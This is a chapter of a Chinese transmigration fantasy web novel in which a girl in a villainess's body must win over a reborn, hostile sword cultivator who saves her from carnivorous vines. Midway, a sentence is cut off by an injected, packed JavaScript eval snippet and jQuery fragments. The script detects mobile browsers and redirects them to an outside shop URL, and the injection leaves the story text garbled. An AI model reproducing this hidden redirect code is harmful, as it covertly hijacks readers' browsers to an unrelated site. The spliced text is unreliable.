“啊!痛!”


    宋盈星被一根手腕儿粗的绿色藤蔓由脚至肩蜿蜒缠绕,打横悬挂在巨树下几丈高的地方晃荡着。


    藤蔓越收越紧,勒得她生疼,感觉五脏六腑都要挤到一起了。


    系统:“宿主别着急,目标对象马上就到了!”


    一场车祸让正去偶像签售会的宋盈星意外穿越进了一本奇幻小说里和自己姓名只差一个字的恶毒女配身上。系统告诉她只要完成任务就可以活着回到现实世界,并且得到奖赏。


    她的任务是:攻略现在还是宗门大师兄但后期会黑化的大魔头苏绰英,并阻止他黑化。


    而现在,她正被挂在青原山的一棵巨树上。这就是小说里原身和苏绰英相遇的情景。


    一番英雄救美,当场见色起意,随后纠缠不休……


    思忖中,宋盈星眼睛忽地被金光一闪,睫羽轻颤,只见一个巴掌大的菱花镜翻滚掉落,背面的鎏金雕花金光灿灿,将漏下来打在上面的光点像金色子弹一样胡乱扫射出去。


    爱美之心人皆有之,原身更是。这是她随身携带的小镜子啊。


    可惜她挂得太高,这镜子太远,照不到。


    她引颈俯望,试图能够看看自己现在的模样。


    清风袭过树叶,沙沙作响,一片枯叶被风推着跑到了小镜上。


    一戴着粉青面具、身形颀长的青衣男子持剑自林中走来,肃肃如松下之风。


    “来了!”


    宋盈星眉飞色舞,喜出望外。这哪里还需要用演啊!


    她现在跟压在五指山下等唐僧的悟空一样的心情!只不过此情此景,她或许比孙大圣更像猴子。


    整个人都振奋起来,她在藤蔓上努力晃荡,满心期待着和大地母亲的久别重逢以及和身上的藤蔓说拜拜。


    他怎么带着面具?不过毕竟是原书前期的高岭之花,从他挺拔如修竹的身姿气韵也能想象出他的模样定是相当清俊、脱俗不凡的。宋盈星翘首以盼。


    “嚓啦”一声,菱花镜上的树叶被一脚踩碎,那人竟目不斜视,踩到镜子上径直走了过去。他仿佛丧失五感,丝毫没有察觉到上头有人一般。


    “喂?救命啊!大哥!”宋盈星使劲儿跃动两下,被缠住的身体都已经麻了半边。


    那人回头望过来一眼,面具下一双狭长的丹凤眼,扫过来的那一眼竟带着坚冰般的森森寒意,随即,拂袖扬长而去。


    宋盈星似乎还看到那人对自己翻了个白眼儿。明明是她处于居高临下的空间位置,却生生被下面的人睥睨了一番。


    她风中凌乱,杏眼圆睁,垂下脑袋,在心中怒问到:“系统!怎么跟你说的剧情不一样啊!他不会以为我是山的精灵在大山里面荡秋千吧!”


    系统:“不好!出了点小bug,刚才检测到苏绰英重生了!目前……对你的好感度-100%,黑化值90%。”


    “什么?!”宋盈星面带微笑但咬牙切齿,“小bug?我谢谢你啊!黑化值还给我留了10%的余地!”


    系统:“这样吧,除了基础条件一根极品灵根,为了帮助你完成任务,还给你痛感转移功能,让你的痛感可以转移到他身上。宿主,你现在可以用力挣扎一下,得把人摇回来救你!”


    “早说啊!还不如把破解这玩意儿的术法直接教给我呢!”宋盈星边说着,自己也听话奋力挣扎,想要死马当活马医,通过自己的努力挣脱藤蔓的束缚。


    随着她的挣扎,藤蔓开始收束,越收越紧。


    她竟完全没反应身上的痛感没有加重反而消失了,只觉得胸腔正被勒得憋闷不已,快要不能呼吸了,浑身难受。


    藤蔓甚至蜿蜒上脖颈,爬上了她的脑袋。脖子被缠绕住,她张着嘴却越发呼吸不畅。


    “系统……救……”这一刻,死亡的恐惧如同藤蔓的枝叶开始爬上她的脸,她不知道自己是会先窒息而死,还是先被裹成一个木乃伊之后再窒息而死。


    就在宋盈星被勒到青筋暴起、内脏快要爆炸之际,一道白色的剑影携寒带霜从密林中穿来,伴随着一阵冰裂般细碎清脆的“叮呤”声,三两下割掉她身上的藤蔓,又穿回来时方向的密林中,消失不见。


    “砰”的一声,宋盈星沙包一般猛地摔到地上。


    “啊——”她摸着被砸到地面的屁股墩儿,下意识发出吃痛的声音,却忽然发觉,好像身上一点也不疼欸!


    难道痛感真的转移到苏绰英身上了?这么灵!


    她望见近旁的小镜,捡起来翻过,擦擦灰,只见这张脸真是和自己的长得一模一样啊。桃面杏眼细卧蚕,圆润精致小鼻头。只是这装扮看起来让自己感到有些陌生。她提起嘴角,双颊现出两个熟悉的小酒窝。


    与此同时,不远处的密林中,某人原本站得好好的,突然屁股猛然袭来一下强烈的钝痛,要不是用灵力快速稳住了,险些就一屁股坐倒在地……他双手攥紧成拳,面具下的眸色愈发阴沉。


    宋盈星扯掉身上还缠绕着的散碎藤蔓,准备站起来时发现自己刚才被挂着的那棵树下突然窜出了十数根手腕粗的藤蔓,正窸窸窣窣沿着树干蜿蜒疯长。


    只片刻功夫,藤蔓末梢全都对准了她,好似十几只怪物触手一般,又像一窝蛇头,俨然一副即将发动攻击之势。


    宋盈星哪还顾得上察看腿是不是麻了伤了,忙把看起来蛮值钱的小镜揣进怀里,一骨碌爬起来,下意识往苏绰英刚才走的方向跑了过去。


    可她哪里跑得过这些妖物,回头之际,两根长着吸盘嘴巴的藤蔓疯长过来,末梢已经快要触及她的脸。


    这东西甚至恶心可怖,一定是要把她卷回去当养料。莫大的恐惧从心口蔓延到脚底,让她双脚如同灌铅,明明生死关头,却一时无法动弹。


    千钧一发之际,带着寒霜的白刃从她脸的另一侧飞来,将那两条藤蔓齐齐斩断!耳边清风相送,掠过一串冰裂般细碎清脆的“叮呤”声。


    真好听!


    宋盈星伸手摸了摸白刃擦过时忽凉一下的脸颊,竟然还冰冰凉凉的,如同夏天用刚从冰柜里拿出的冰棍儿压过一般。


    那是……裂冰!苏绰英的佩剑。


    一直提着的那口气松下来,她劫后余生地拍了拍自己的胸口。不过刚缓没两下,一阵簌簌声又让她把心提了起来。


    被斩断末梢的藤蔓呈S型扭动了两下,仿佛在疼痛呜咽,又似在呼喊同伴。旁的十几根藤蔓果然一拥而上,发动了更猛烈的攻势。


    十几根藤蔓缠绕攻击裂冰,但树藤哪里绕得住坚兵利刃,何况是第一宗门首阳派得力弟子的佩剑,不过是自取灭亡。


    果然片刻时间,裂冰就快刀斩乱麻,一连斩断七八根藤蔓,剩下几根识时务的只好偃旗息鼓,灰溜溜地逃走,躲回了那棵树后面。


    “真是厉害!”宋盈星喜笑颜开,跳起来朝着裂冰打了个响指。


    谁料下一刻裂冰居然转向,朝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512654|203063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着她猛然袭来,银蛇一般。宋盈星脸上的笑容顿时僵住、裂开,连连后退,直至后背抵到了一棵粗糙的树上。


    来不及躲避的她猛然闭眼耸起双肩,裂冰从她颈侧呼啸而过。她下意识捂住自己的脖子,感觉脖子凉掉半边。


    利刃回鞘,银白剑鞘被握在一只骨节分明的手上。


    戴面具的颀长身影从林中走出来,停在一丈之外看着她,像是要看穿什么,但多看两眼又厌恶地挪开了眼。


    宋盈星双臂反抱树干,身体紧紧贴在树干上,喉咙发干,盯着眼前这个刚救下自己却又对自己充满杀意的人。


    她脑子里想到了系统刚才给她快速翻看的那本小说里交待的大致内容:


    恶毒女配宋莹星在第一眼见到苏绰英之后就见色起意,看上了他的美色。后来带着好几个仆从和两车金银细软死乞白赖地跟着一起去了第一宗门首阳派。


    她攻势凶猛,但奈何她遇上了一个纤尘不染、不容犯界毫厘的人物。


    苏绰英根本就清心寡欲,一心向道,不喜欢她,并且也甚为骄矜,在原身一再作妖之后早已对她厌烦不已,根本没有给过她几个好脸色。


    原身一城首富之女,从小被万般宠爱着长大,从来都是要星星得星星,要月亮得月亮。这番求而不得的结果就是:得不到,就毁掉。


    在意外知道苏绰英的身世真相之后,原身居然暗中谋划,在苏绰英的成人生辰宴上当众揭开了苏绰英自己都从不知道的隐秘不堪身世。


    虽然苏绰英到死都不知道幕后黑手就是原身,但原身可是迫不及待在他最落魄时兴高彩烈舞到面前,明目张胆羞辱过他的。


    就差把脸踩他脸上了!不,应该说是比把脸踩他脸上更狠、更耻辱。


    毁掉他,不就是为了把天之骄子拉入泥潭,让他匍匐在脚下嘛。


    就在生辰宴的第二天,她头戴金钗玉环身着华丽锦衣来到身在破庙半醉狼狈的苏绰英面前,粉妆玉琢的脸两靥如花,在惨白的月光下却面露狰狞之色。


    她声称他像个阴沟里的臭老鼠,一脚踢走他手里的酒瓶子,蹲下身来端起苏绰英的下巴,趾高气扬地问他愿不愿意做她的入幕之宾。


    不料苏绰英正无比痛恨自己这张脸,嗤笑一声,拔剑划花了自己的脸。


    那鲜血淋漓的一张脸触目惊心。她惊呼一声,骂他是疯了,嫌恶又惊慌地跑了出去。


    那场生辰宴后,苏绰英就不再是那个意气风发的首阳派得力弟子和扶风城世子了。他所有的骄傲被杀死在了八月十五,他在自毁灭容貌后本是一心等死,却被人捡走制成傀儡利用,最终被原书男女主以及他的母亲亲手杀死。


    宋盈星仿佛看到书中那张血肉模糊的脸和眼前如玉般的粉青面具交错映照,有一种惊心动魄但又妖艳血腥的美感。


    不会还没开始就要结束了吧……


    她整颗心凉得彻底,双臂把树干反抱得更紧了,十个手指都扣在树皮上,惨然无语。


    怎么就重生了呢?还英雄救美,他现在分分钟都想刀掉自己吧!


    她看向戴着淡蓝色面具的苏绰英。


    为什么要戴着面具呢?


    难不成重生之后脸上的划伤还在吗?还是单纯就是不想让自己再看到他的脸了,从根儿上扼制住原身对他见色起意的肖想?


    宋盈星正脑子飞转,想着逃脱的说辞,苏绰英突然侧目看过来,裂冰出鞘,朝她这边飞过来。